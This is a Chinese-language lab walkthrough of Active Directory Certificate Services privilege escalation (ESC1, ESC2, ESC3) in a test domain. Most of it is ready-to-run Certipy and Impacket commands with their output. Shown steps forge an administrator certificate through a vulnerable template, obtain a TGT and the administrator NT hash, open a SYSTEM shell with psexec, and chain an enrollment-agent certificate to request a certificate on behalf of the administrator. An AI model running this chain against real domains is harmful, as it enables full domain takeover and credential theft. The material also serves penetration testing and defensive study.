ESC1、ESC2、ESC3
ESC1
前提条件:
1.模板允许普通域用户去申请
2.模板配置了“在请求中提供主体”。这个选项开启后，你提交的申请里写谁的名字，CA 就在证书里写谁
3.证书的用途（EKU）包含了“客户端身份验证”或“智能卡登录”。这意味着这个证书可以直接用来登录 Windows 域、向域控申请 Kerberos TGT 票据。
4.不需要管理员审批，申请即下发
提权:
伪造身份：普通用户构造一个证书请求，在“使用者可选名称”（SAN）中把身份写成 administrator@domain.com。
CA 盖章：因为模板允许用户自定义名字且无需审批，企业 CA 忠实地为该请求签发了一张属于 administrator 的合法证书（PFX）。
骗过域控：域控（KDC）只信任 CA 签发的证书。当你拿出这张包含 CA 签名的证书去登录时，域控读取里面的名字，认为你就是 administrator，随后向你发放域管的票据（TGT）。
利用实验:
域内普通用户yadianna
certipy-ad find -u 'yadianna@yes.com' -p 'yadianna123' -dc-ip 192.168.116.123 -vulnerable
┌──(kali㉿yeswind)-[~/attack]
└─$ cat 20261008143424_Certipy.txt
Certificate Authorities
0
CA Name : yes-DC-01-CA
DNS Name : DC-01.yes.com
Certificate Subject : CN=yes-DC-01-CA, DC=yes, DC=com
Certificate Serial Number : 2C36D47A40EED4AC42392A855F8D5888
Certificate Validity Start : 2026-09-16 19:44:04+00:00
Certificate Validity End : 2031-09-16 19:54:04+00:00
Web Enrollment
HTTP
Enabled : False
HTTPS
Enabled : False
User Specified SAN : Disabled
Request Disposition : Issue
Enforce Encryption for Requests : Enabled
Active Policy : CertificateAuthority_MicrosoftDefault.Policy
Permissions
Owner : YES.COM\Administrators
Access Rights
ManageCa : YES.COM\Administrators
YES.COM\Domain Admins
YES.COM\Enterprise Admins
ManageCertificates : YES.COM\Administrators
YES.COM\Domain Admins
YES.COM\Enterprise Admins
Enroll : YES.COM\Authenticated Users
Certificate Templates
0
Template Name : ESC1Vuln
Display Name : ESC1 Vulnerable
Certificate Authorities : yes-DC-01-CA
Enabled : True
Client Authentication : True
Enrollment Agent : False
Any Purpose : False
Enrollee Supplies Subject : True
Certificate Name Flag : EnrolleeSuppliesSubject
Enrollment Flag : IncludeSymmetricAlgorithms
PublishToDs
AutoEnrollment
Private Key Flag : ExportableKey
Extended Key Usage : Client Authentication
Secure Email
Encrypting File System
Requires Manager Approval : False
Requires Key Archival : False
Authorized Signatures Required : 0
Schema Version : 1
Validity Period : 1 year
Renewal Period : 6 weeks
Minimum RSA Key Length : 2048
Template Created : 2026-10-08T06:08:22+00:00
Template Last Modified : 2026-10-08T06:08:22+00:00
Permissions
Enrollment Permissions
Enrollment Rights : YES.COM\Domain Admins
YES.COM\Domain Users
YES.COM\Enterprise Admins
Object Control Permissions
Owner : YES.COM\Enterprise Admins
Full Control Principals : YES.COM\Domain Admins
YES.COM\Enterprise Admins
Write Owner Principals : YES.COM\Domain Admins
YES.COM\Enterprise Admins
Write Dacl Principals : YES.COM\Domain Admins
YES.COM\Enterprise Admins
Write Property Enroll : YES.COM\Domain Admins
YES.COM\Domain Users
YES.COM\Enterprise Admins
[+] User Enrollable Principals : YES.COM\Domain Users
[!] Vulnerabilities
ESC1 : Enrollee supplies subject and template allows client authentication.
ESC15 : Enrollee supplies subject and schema version is 1.
[*] Remarks
ESC15 : Only applicable if the environment has not been patched. See CVE-2024-49019 or the wiki for more details.
ESC2 Target Template : Template can be targeted as part of ESC2 exploitation. This is not a vulnerability by itself. See the wiki for more details. Template has schema version 1.
ESC3 Target Template : Template can be targeted as part of ESC3 exploitation. This is not a vulnerability by itself. See the wiki for more details. Template has schema version 1.检测到ESC1，开始利用
┌──(kali㉿yeswind)-[~/attack]
└─$ certipy-ad req -u "yadianna@yes.com" -p "yadianna123" -dc-ip "192.168.116.123" -target "192.168.116.123" -ca 'yes-DC-01-CA' -template 'ESC1Vuln' -upn 'administrator@yes.com'
Certipy v5.1.0 - by Oliver Lyak (ly4k)
[*] Requesting certificate via RPC
[*] Request ID is 5
[*] Successfully requested certificate
[*] Got certificate with UPN 'administrator@yes.com'
[*] Certificate has no object SID
[*] Try using -sid to set the object SID or see the wiki for more details
[*] Saving certificate and private key to 'administrator.pfx'
[*] Wrote certificate and private key to 'administrator.pfx'
┌──(kali㉿yeswind)-[~/attack]
└─$ certipy-ad auth -pfx administrator.pfx -dc-ip 192.168.116.123
Certipy v5.1.0 - by Oliver Lyak (ly4k)
[*] Certificate identities:
[*] SAN UPN: 'administrator@yes.com'
[*] Using principal: 'administrator@yes.com'
[*] Trying to get TGT...
[*] Got TGT
[*] Saving credential cache to 'administrator.ccache'
[*] Wrote credential cache to 'administrator.ccache'
[*] Trying to retrieve NT hash for 'administrator'
[*] Got hash for 'administrator@yes.com': aad3b435b51404eeaad3b435b51404ee:538c8c0909a8f53ee4048c00b97d3a46
┌──(kali㉿yeswind)-[~/attack]
└─$ impacket-psexec yes.com/administrator@192.168.116.123 -hashes :538c8c0909a8f53ee4048c00b97d3a46
Impacket v0.13.1 - Copyright Fortra, LLC and its affiliated companies
[*] Requesting shares on 192.168.116.123.....
[*] Found writable share ADMIN$
[*] Uploading file MnDrhPEv.exe
[*] Opening SVCManager on 192.168.116.123.....
[*] Creating service PrTp on 192.168.116.123.....
[*] Starting service PrTp.....
[!] Press help for extra shell commands
[-] Decoding error detected, consider running chcp.com at the target,
map the result with https://docs.python.org/3/library/codecs.html#standard-encodings
and then execute smbexec.py again with -codec and the corresponding codec
Microsoft Windows [�汾 10.0.17763.1339]
[-] Decoding error detected, consider running chcp.com at the target,
map the result with https://docs.python.org/3/library/codecs.html#standard-encodings
and then execute smbexec.py again with -codec and the corresponding codec
(c) 2018 Microsoft Corporation����������Ȩ����
C:\Windows\system32> whoami
nt authority\system成功获得管理员权限
ESC2
前提条件:
1.模板允许普通域用户去申请
2.模板配置了“在请求中提供主体”。这个选项开启后，你提交的申请里写谁的名字，CA 就在证书里写谁
3.模板的扩展密钥用法（EKU）配置为 Any Purpose（任何用途，OID: 2.5.29.37.0）；或者模板中没有指定任何 EKU
4.不需要管理员审批，申请即下发
┌──(kali㉿yeswind)-[~/attack]
└─$ cat 20261008144413_Certipy.txt
Certificate Authorities
0
CA Name : yes-DC-01-CA
DNS Name : DC-01.yes.com
Certificate Subject : CN=yes-DC-01-CA, DC=yes, DC=com
Certificate Serial Number : 2C36D47A40EED4AC42392A855F8D5888
Certificate Validity Start : 2026-09-16 19:44:04+00:00
Certificate Validity End : 2031-09-16 19:54:04+00:00
Web Enrollment
HTTP
Enabled : False
HTTPS
Enabled : False
User Specified SAN : Disabled
Request Disposition : Issue
Enforce Encryption for Requests : Enabled
Active Policy : CertificateAuthority_MicrosoftDefault.Policy
Permissions
Owner : YES.COM\Administrators
Access Rights
ManageCa : YES.COM\Administrators
YES.COM\Domain Admins
YES.COM\Enterprise Admins
ManageCertificates : YES.COM\Administrators
YES.COM\Domain Admins
YES.COM\Enterprise Admins
Enroll : YES.COM\Authenticated Users
Certificate Templates
0
Template Name : ESC2Vuln
Display Name : ESC2 Vulnerable之后可以和ESC1 一样来利用，也可以进行代理证书操作
ESC3
前提条件：
1.存在一个“代理模板”，允许普通域用户申请，并且证书用途（EKU）包含“证书请求代理”（Certificate Request Agent）。有了这张证书，你就能以“注册代理”的身份，替别人提交证书申请。
2.存在一个“目标模板”，允许客户端身份验证或智能卡登录，即签出来的证书可以直接用来登录域、申请 Kerberos TGT。
3.目标模板的注册权限里，允许“证书请求代理”或“注册代理”代表其他用户申请证书。通常表现为目标模板的 ACL 中授予了 Certificate Request Agent 或 Enrollment Agent 的注册权限，或者直接给低权限用户组分配了“注册代理”权限。
4.代理模板和目标模板都不需要管理员审批，申请即下发（或者代理申请时无需额外审批）。
攻击流程:
[低权限攻击者]
│
├─► 1. 申请模板 A 证书 (获得 Enrollment Agent 证书及私钥)
│
└─► 2. 使用该证书签名代理请求，代域管 (如 Administrator) 向模板 B 申请证书
│
▼
[获取到 Administrator 的客户端认证证书]
│
▼
[通过 PKINIT / Rubeus / Certipy 请求 TGT 票据，接管域管权限]实验:
发现ESC3
┌──(kali㉿yeswind)-[~/attack]
└─$ cat 20261008145929_Certipy.txt
Certificate Authorities
0
CA Name : yes-DC-01-CA
DNS Name : DC-01.yes.com
Certificate Subject : CN=yes-DC-01-CA, DC=yes, DC=com
Certificate Serial Number : 2C36D47A40EED4AC42392A855F8D5888
Certificate Validity Start : 2026-09-16 19:44:04+00:00
Certificate Validity End : 2031-09-16 19:54:04+00:00
Web Enrollment
HTTP
Enabled : False
HTTPS
Enabled : False
User Specified SAN : Disabled
Request Disposition : Issue
Enforce Encryption for Requests : Enabled
Active Policy : CertificateAuthority_MicrosoftDefault.Policy
Permissions
Owner : YES.COM\Administrators
Access Rights
ManageCa : YES.COM\Administrators
YES.COM\Domain Admins
YES.COM\Enterprise Admins
ManageCertificates : YES.COM\Administrators
YES.COM\Domain Admins
YES.COM\Enterprise Admins
Enroll : YES.COM\Authenticated Users
Certificate Templates
0
Template Name : ESC3Agent
Display Name : ESC3 Agent (CRA)
Certificate Authorities : yes-DC-01-CA
Enabled : True
Client Authentication : False
Enrollment Agent : True
Any Purpose : False
Enrollee Supplies Subject : False步骤一,申请代理证书:
┌──(kali㉿yeswind)-[~/attack]
└─$ certipy-ad req -u "yadianna@yes.com" -p "yadianna123" -dc-ip "192.168.116.123" -target "192.168.116.123" -ca 'yes-DC-01-CA' -template 'ESC3Agent' -upn 'administrator@yes.com'
Certipy v5.1.0 - by Oliver Lyak (ly4k)
[*] Requesting certificate via RPC
[*] Request ID is 12
[*] Successfully requested certificate
[*] Got certificate without identity
[*] Certificate has no object SID
[*] Try using -sid to set the object SID or see the wiki for more details
[*] Saving certificate and private key to 'yadianna.pfx'
[*] Wrote certificate and private key to 'yadianna.pfx'步骤 2，获得域的SID:
┌──(kali㉿yeswind)-[~/attack]
└─$ impacket-lookupsid yes.com/yadianna:yadianna123@192.168.116.123 Impacket v0.13.1 - Copyright Fortra, LLC and its affiliated companies
[*] Brute forcing SIDs at 192.168.116.123
[*] StringBinding ncacn_np:192.168.116.123[\pipe\lsarpc]
[*] Domain SID is: S-1-5-21-1501122382-3271040440-1593270373步骤3，用代理证书代表 administrator 申请目标证书
┌──(kali㉿yeswind)-[~/attack]
└─$ certipy-ad req \ -u 'yadianna@yes.com' -p 'yadianna123' \
-dc-ip 192.168.116.123 \
-ca 'yes-DC-01-CA' \
-template 'ESC1Vuln' \
-pfx 'yadianna.pfx' \
-on-behalf-of 'YES\administrator' \
-sid 'S-1-5-21-1501122382-3271040440-1593270373-500' \
-dcom
Certipy v5.1.0 - by Oliver Lyak (ly4k)
[*] Requesting certificate via DCOM
[*] Request ID is 16
[*] Successfully requested certificate
[*] Got certificate without identity
[*] Certificate object SID is 'S-1-5-21-1501122382-3271040440-1593270373-500'
[*] Saving certificate and private key to 'administrator.pfx'
[*] Wrote certificate and private key to 'administrator.pfx'步骤4，用 administrator 证书认证拿 TGT/Hash
┌──(kali㉿yeswind)-[~/attack]
└─$ certipy-ad auth -pfx administrator.pfx -dc-ip 192.168.116.123
Certipy v5.1.0 - by Oliver Lyak (ly4k)
[*] Certificate identities:
[*] SAN UPN: 'administrator@yes.com'
[*] Using principal: 'administrator@yes.com'
[*] Trying to get TGT...
[*] Got TGT
[*] Saving credential cache to 'administrator.ccache'
File 'administrator.ccache' already exists. Overwrite? (y/n - saying no will save with a unique filename): y
[*] Wrote credential cache to 'administrator.ccache'
[*] Trying to retrieve NT hash for 'administrator'
[*] Got hash for 'administrator@yes.com': aad3b435b51404eeaad3b435b51404ee:538c8c0909a8f53ee4048c00b97d3a46